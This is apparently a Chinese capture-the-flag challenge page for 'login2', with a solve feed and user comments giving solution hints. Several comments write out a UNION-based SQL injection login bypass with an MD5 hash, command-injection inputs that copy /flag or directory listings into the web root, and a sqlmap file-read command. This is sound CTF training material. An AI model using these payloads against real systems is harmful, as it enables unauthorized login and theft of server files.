评分(14)
解题动态
noob11 攻破了该题 22小时前
jiuxian112 攻破了该题 1天前
liweiyi 攻破了该题 1天前
lin 攻破了该题 1天前
hhHHHH6_ 攻破了该题 1天前
qi1102 攻破了该题 2天前
hshs 攻破了该题 2天前
Alter 攻破了该题 3天前
shitlife 攻破了该题 3天前
moque 攻破了该题 3天前
南汐 攻破了该题 3天前
CCC1112 攻破了该题 3天前
liwssy 攻破了该题 3天前
xhs 攻破了该题 4天前
mrg 攻破了该题 5天前
suhannn 攻破了该题 5天前
KN11 攻破了该题 5天前
xiaoqixy1 攻破了该题 5天前
adminadmin123456 攻破了该题 5天前
评论
404 Lethe 15天前
举报
UNION 注入造个假 admin，密码填 123，直接登录。命令注入用 ; 拼接，页面不回显就写到 web 目录再访问。最后ls看到flag是777，cat /flag > web/flag.txt，访问就能拿到flag
厌弃. 1月前
举报
实在没思路可以看一下https://www.yuque.com/g/zhubingbing-mwvgf/ushfpr/ntu40vr3d98gibcu/collaborator/join?token=Y99THaE7V8rENfAC&source=doc_collaborator# 《login2》
西红柿dun牛腩 2月前
举报
有个问题啊，怎么知道flag是在/flag路径下的
123佳 2月前
举报
登录成功之后，输入框输入 任意字符 | ls / > 1.txt ，访问1.txt能看到文件名
我的刀盾 2月前
举报
不只是考察命令执行漏洞，还考察了md5的严格相等sql注入，前面使用sqlmap扫，用时间盲注但扫出来的数据是空的，看评论注意到响应报文有个tip,解码发现是个php代码，提示使用MD5”===“匹配输入的密码，绕过后才是命令执行，但不回显。输入0，列出所有进程，尝试ls -la / > /var/www/html/root.txt，然后url访问发现可以访问，解决了。
蟹不揉 5月前
举报
用sqlmap扫一遍发现有SQL注入漏洞，权限足够高直接sqlmap -r post.txt --batch --file-read=/flag
qq1002517 8月前
举报
flag{******}
5883120xly 11月前
举报
username= ' UNION SELECT '任意用户名', 'fae0b27c451c728867a567e8c1bb4e53' -- password=666 进入命令执行界面输入 666 | cat /flag >2.txt 访问http://117.72.52.127:14324/2.txt即可
你文博哥哥 1年前
举报
首先爆破，没出来，sqlmap扫了，账号密码为空，丫的，没法去找有用信息，源码，请求头，都没，最后在返回包找到了tip，解码，得到注入点，username输入admin'union select 1,md5(123)#&password(123),得到监控系统，然后看见输入框，想到了rce，然后尝试输入1，然后输入ls /，没回显，被过滤，后面利用tee命令，将查找写入新文件，访问即可
一个姓⎝李⎠的师傅~ 1年前
举报
做了 3 个小时，完整记录了自己的 25 个步骤，sqlmap 省略了因为没有可用信息！ 来看看吧，肯定会对你有帮助，联合注入的发现，命令执行写入文件绕过没有网页回显命令内容的办法，包括路径的讲解： https://www.yuque.com/u21437924/ap9vtm/gqkc3dcfmfpe5p85?singleDoc#zIr77
告别の记忆 2月前
举报
感谢分享，还是这个讲的清楚
꧁༺༽༾ཊCCཏ༿༼༻꧂ 1年前
举报
没难度